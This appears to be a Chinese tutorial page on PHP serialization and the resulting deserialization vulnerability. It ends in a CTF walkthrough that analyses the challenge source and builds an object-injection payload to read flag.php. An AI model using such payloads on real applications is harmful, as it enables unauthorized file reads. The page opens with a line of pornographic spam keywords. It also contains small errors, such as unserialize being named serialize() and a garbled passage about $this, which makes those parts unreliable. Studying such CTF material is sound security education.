亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

PHP的序列化和反序列化詳情

 更新時(shí)間:2022年09月08日 08:51:37   作者:lambda223  
這篇文章主要介紹了PHP的序列化和反序列化詳情,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下

一、PHP 為什么要反序列化?

PHP程序執(zhí)行結(jié)束以后會(huì)將文件中的變量和內(nèi)容釋放掉, 如果一個(gè)程序想要的調(diào)用之前程序的變量,但是之前的程序已經(jīng)執(zhí)行完畢,所有的變量和內(nèi)容都被釋放,那該如何操作呢?這時(shí)候就可以通過(guò)序列化和反序列化保存程序中的對(duì)象,給其他程序使用。 php序列化可以將對(duì)象轉(zhuǎn)換成字符串,但只序列化屬性,不序列化方法。

二、PHP如何反序列化?

?PHP用序列化和反序列化函數(shù)達(dá)到序列化和反序列化的目的

  • 序列化:serialize()
  • 反序列化:serialize()

例子:

<?php
class TEST{
    public $a="public";
    private $b="private";
    protected $c="protected";
	static $d="static";
}

$aaa=new TEST();
echo serialize($aaa);

?>
輸出:O:4:"TEST":3{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}

解釋:

O:表示這是一個(gè)對(duì)象
4:對(duì)象的名稱TEST有4個(gè)字符
TEST:對(duì)象的名稱
3:對(duì)象屬性的個(gè)數(shù)(不包含static)

s:變量名數(shù)據(jù)類型為string
1:變量a的名字長(zhǎng)度
a:變量名稱
s:變量值的數(shù)據(jù)類型
6:變量值的長(zhǎng)度
public:變量的值

s:變量名的數(shù)據(jù)類型
7:變量名的長(zhǎng)度(private屬性序列化會(huì)在變量名前加標(biāo)記%00classname%00,長(zhǎng)度=類名長(zhǎng)度+變量名長(zhǎng)度+2)
TESTb:變量名稱(private屬性的變量名在序列化時(shí)會(huì)加上類名,即類名+變量名)
s:變量值的數(shù)據(jù)類型
7:變量值的長(zhǎng)度
private:變量的值

s:變量名數(shù)據(jù)類型
4:變量名長(zhǎng)度
*c:變量名稱(protected屬性的變量名會(huì)在序列化時(shí)會(huì)在變量名前加上一個(gè)" %00*%00",長(zhǎng)度=變量名長(zhǎng)度+3)
s:變量值的數(shù)據(jù)類型
9:變量值的長(zhǎng)度

protected:變量的值

小知識(shí):

  • public(公有):公有的類成員可以在任何地方被訪問(wèn)。
  • protected(受保護(hù)):受保護(hù)的類成員則可以被其自身以及其子類和父類訪問(wèn)。
  • private(私有):私有的類成員則只能被其定義所在的類訪問(wèn)。

類屬性必須定義為公有,受保護(hù),私有之一。如果用 var 定義,則被視為公有。
static:靜態(tài)屬性單獨(dú)存在類中(屬于類),不屬于對(duì)象。因此只要類聲明完畢,該屬性就存在。既訪問(wèn)該靜態(tài)屬性不需要依賴于對(duì)象就可以訪問(wèn),static 在類中一直有,因此他被所有對(duì)象共享,一人影響,其他共享。
普通方法存放在類種,在內(nèi)存中只有1份。靜態(tài)方法也如此。 區(qū)別 :普通方法需要對(duì)象去調(diào)用,需綁 t h i s 。 靜 態(tài) 方 法 不 需 要 綁 定 this。 靜態(tài)方法不需要綁定 this。靜態(tài)方法不需要綁定this,則通過(guò)類名即可調(diào)用。

三、PHP反序列化漏洞

1、常用 的魔術(shù)方法

方法作用
__construct()創(chuàng)建對(duì)象時(shí)觸發(fā)(定義構(gòu)造方法)
__destruct()對(duì)象被銷毀時(shí)觸發(fā)(定義析構(gòu)方法)
__call()在對(duì)象上下文調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic()在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get()用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
__set()用于將數(shù)據(jù)寫入不可訪問(wèn)的屬性
__isset()在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__invoke()當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
__sleep()serialize() 函數(shù)會(huì)檢查類中是否存在一個(gè)魔術(shù)方法 __sleep(),如果存在,該方法會(huì)先被調(diào)用,然后才執(zhí)行序列化操作
__wakeup()unserialize() 會(huì)檢查是否存在一個(gè) __wakeup() 方法。如果存在,則會(huì)先調(diào)用該方法。影響版本:PHP5 < 5.6.25 ,PHP7 < 7.0.10
  

2、漏洞產(chǎn)生條件

unserialize()函數(shù)的變量可控,php文件中存在可利用的類,類中有魔法函數(shù)

3、題目

題目源碼:

 <?php
include("flag.php");
highlight_file(__FILE__);   
class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

源碼分析:

 <?php
include("flag.php");      //包含文件flag.php
highlight_file(__FILE__);   //高亮顯示當(dāng)前文件
class FileHandler {			//定義了一個(gè)類
    protected $op;         //定義了三個(gè)受保護(hù)的屬性
    protected $filename;
    protected $content;
    function __construct() {   //定義構(gòu)造方法,序列化時(shí)會(huì)自動(dòng)調(diào)用
        $op = "1";			  //定義方法中的屬性并賦值
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();     //調(diào)用類中的方法
    }

    public function process() {         //定義公有方法
        if($this->op == "1") {          //如果op=="1",調(diào)用write()
            $this->write();
        } else if($this->op == "2") {   //如果op=="2",調(diào)用read()并輸出結(jié)果
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");  //否則輸出"Bad Hacker!"
        }
    }

    private function write() {      //定義私有方法
        if(isset($this->filename) && isset($this->content)) {  
        //判斷filename和content是否為空
            if(strlen((string)$this->content) > 100) {  //判斷content長(zhǎng)度是否大于100
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            //將content寫入文件中,寫入成功返回true
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);//將文件讀入到字符串中
        }
        return $res;
    }

    private function output($s) {   //輸出函數(shù)
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {     //定義析構(gòu)方法,對(duì)象被銷毀時(shí)自動(dòng)調(diào)用
        if($this->op === "2")   //比較op是否等于2,強(qiáng)比較
            $this->op = "1";    //op="1"
        $this->content = "";    //content置為空
        $this->process();
    }

}
function is_valid($s) {    //定義方法
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 
        //判斷傳入的字符的ascii碼是否在指定范圍
            return false;
    return true;
}
if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];   //強(qiáng)制類型轉(zhuǎn)換為string
    if(is_valid($str)) {
        $obj = unserialize($str);  //反序列化str
    }

}

解題思路:

要想得到flag,就要將文件的內(nèi)容讀入變量并輸出,要想輸出就要調(diào)用read()方法
要想調(diào)用read()方法,就要讓op == "2",但是當(dāng)我們構(gòu)建序列化傳參給str時(shí)會(huì)自動(dòng)調(diào)用__destruct()方法,使我們傳入的op == "2"變成op == "1",但是在php中‘===’與‘==’不同,可以通過(guò)op=" 2"繞過(guò)強(qiáng)等于,要讀取正確的flag,我們需要讀取flag.php,也就是說(shuō)filenmae的值要為flag.php,我們需要覆蓋掉原來(lái)的filename的值

構(gòu)造payload

<?php
class FileHandler {
   public $op=' 2'; 
   public $filename="flag.php";
   public $content='';
}
$a=new FileHandler();
echo serialize($a);
?>

O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

獲取flag

flag{66907d94-ac4c-4476-9400-ccbbbbbd0fbd}

到此這篇關(guān)于PHP的序列化和反序列化詳情的文章就介紹到這了,更多相關(guān)PHP序列化內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論